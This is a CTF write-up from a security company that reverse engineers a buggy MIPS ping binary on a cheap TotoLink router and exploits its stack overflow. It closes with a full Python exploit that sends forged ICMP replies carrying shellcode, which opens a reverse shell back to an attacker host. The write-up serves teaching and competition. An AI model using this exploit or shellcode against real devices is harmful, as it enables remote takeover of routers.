faradaysecBy faradaysec|December 30, 2022|7 Minutes

Faraday CTF 2022 Write-up: Reverse Engineering and Exploiting an IoT bug

At the beginning of November this year, in Buenos Aires, Argentina, Faraday had the privilege to be a sponsor of the EKOParty security conference. As other sponsors, we had to build a couple of challenges for the CTF.

Ours had six challenges, from web vulnerabilities to exploits in embedded devices. The particular thing about those challenges was that they were inside the cheapest router in the market: our lovely TotoLink N100RE.

This is the write-up for the hardest challenge, a bug in a bad implementation of a ping client anticipating the FreeBSD bug one month before. The buggy ping could be triggered from the web panel; the binary was delivered in advance among the libraries needed to run it.

The binary doesn’t have protections against memory corruptions’s bugs.

In every binary challenge we need to make the reversing of the file, for educational purposes we grabbed the entire session of the reverse engineering process. The idea behind this video is to demonstrate some of Ghidra’s features which could be very helpful when we don’t have the challenge’s source code, for example:

  • change name and type of variables
  • identify common calls to libc in mips binaries
  • set the right type to structures

In most of the write-ups of CTF, reverse engineering concepts are taken for granted. This is a problem for newcomers unfamiliar with some basic concepts or If don’t have prior experience in this field. However, this will be different. In this video, we will take you through a step-by-step of our decompiling session using Ghidra. This step-by-step is helpful for any static reversing but is particularly functional for IoT binaries.

The restored code is almost compilable:

void sendPing(int sockfd,sockaddr_in *dest)

  char *ipAddr;
  int ret;
  uint i;
  int optionValue;
  socklen_t addrlen;
  iphdr buffer;
  icmphdr icmphdrRecv;
  icmp packetICMP;
  sockaddr scrAddr;
  timespec res1;
  timespec res2;
  timeval optionValue2;
  optionValue = 0x40;
  ipAddr = (char *)inet_ntoa((dest->sin_addr).s_addr);
  optionValue2.tv_sec = 1;
  optionsValue2.tv_usec = 0;
  ret = setsockopt(sockfd,0,2,&optionValue,4);
  if (ret == 0) {
    packetICMP.icmp_type = 8;
    packetICMP.icmp_hun.ih_idseq.icd_id = 0x1337;
    for (i = 0; i < 0x37; i = i + 1) {
      packetICMP.icmp_dun.id_data[i] = (char)i + '0';
    packetICMP.icmp_dun.id_data[i] = '\0';
    packetICMP.icmp_hun.ih_idseq.icd_seq = 0;
    packetICMP.icmp_cksum = makeChecksum(&packetICMP,0x40);
    ret = sendto(sockfd,&packetICMP,0x40,0,dest,0x10);
    if (ret < 1) {
      puts("Packet Sending Failed!");
    else {
      addrlen = 0x10;
      ret = recvfrom(sockfd,&buffer,0x200,0,&scrAddr,&addrlen);
      if (ret < 1) {
        puts("Packet receive failed!");
      else {
        if ((icmphdrRecv.type == NULL) && (icmphdrRecv.code == NULL)) {
          printf("%d bytes from %s msg_seq=%d ttl=%d rtt = %lu ms.\n",0x40,ipAddr,1,optionValue,
                 (res2.tv_sec - res1.tv_sec) * 1000 + (res2.tv_nsec - res1.tv_nsec) / 1000000);
        else {
          printf("Error..Packet received with ICMP type %d code %d\n",icmphdrRecv.type,
  else {
    puts("Setting socket options to TTL failed!");

int main(void)

  int elements;
  int sockfd;
  int ret;
  sockaddr_in dest;
  byte first;
  byte second;
  byte third;
  byte fourth;
  elements = getenv("QUERY_STRING");
  puts("Content-Type: text/plain;charset=us-ascii\n");
  if (elements == 0) {
    puts("Bad request");
  else {
    elements = sscanf(elements,"ip=%hhu.%hhu.%hhu.%hhu",&first,&second,&third,&fourth);
    if (elements == 4) {
      sockfd = socket(2,3,1);
      if (sockfd < 0) {
        ret = puts("Socket file descriptor not received!!");
        return ret;
      dest.sin_family = 2;
      dest.sin_port = htons(0);
      dest.sin_addr.s_addr._0_1_ = first;
      dest.sin_addr.s_addr._1_1_ = second;
      dest.sin_addr.s_addr._2_1_ = third;
      dest.sin_addr.s_addr._3_1_ = fourth;
    else {
      puts("Bad request");
  return 0;

This binary also had all the necessary files to run with Qemu as the team said in them twitter hint

In order to run successfully, the executable needs to receive the ip address of the target through the environment variable QUERY_STRING

$ sudo chroot . ./qemu-mips-static -E QUERY_STRING="ip=" picar
Content-Type: text/plain;charset=us-ascii

64 bytes from msg_seq=1 ttl=64 rtt = 2 ms.

This will be useful later because we can debug the sample with a debugger as gdb.

The bug is in the recvfrom call which receives 0x200 bytes, the icmp response has a size lower than that, but if we manipulate the response, we could trigger a stack buffer overflow.

To achieve this goal we need to disabled the kernel response to the incoming icmp packets using sysctl

$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
net.ipv4.icmp_echo_ignore_all = 1

Sending 0x200 bytes in the body of the ICMP packet we could manipulate the return address and hijack the control flow taking advantage of the absence of ASLR.


As the binary does not have Data Execution Prevention,, we jump directly to the stack in order to execute our payload directly using the following binary’s gadget

Here is the full version of the exploit building a reverse shell with the pwntools set

import socket
from pwn import *
from scapy.all import IP, ICMP, send

context.update(arch='mips', endian='big', os='linux')

max_size = 424

shellcode = asm(
    pwnlib.shellcraft.mips.linux.connect("", 1337, network='ipv4') +
payload = shellcode + b"a" * (max_size - len(shellcode))  + p32(0x00401018)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
p = IP(s.recv(256))

send(IP(src=p.dst, dst=p.src) / ICMP(type=0, code=0) / payload)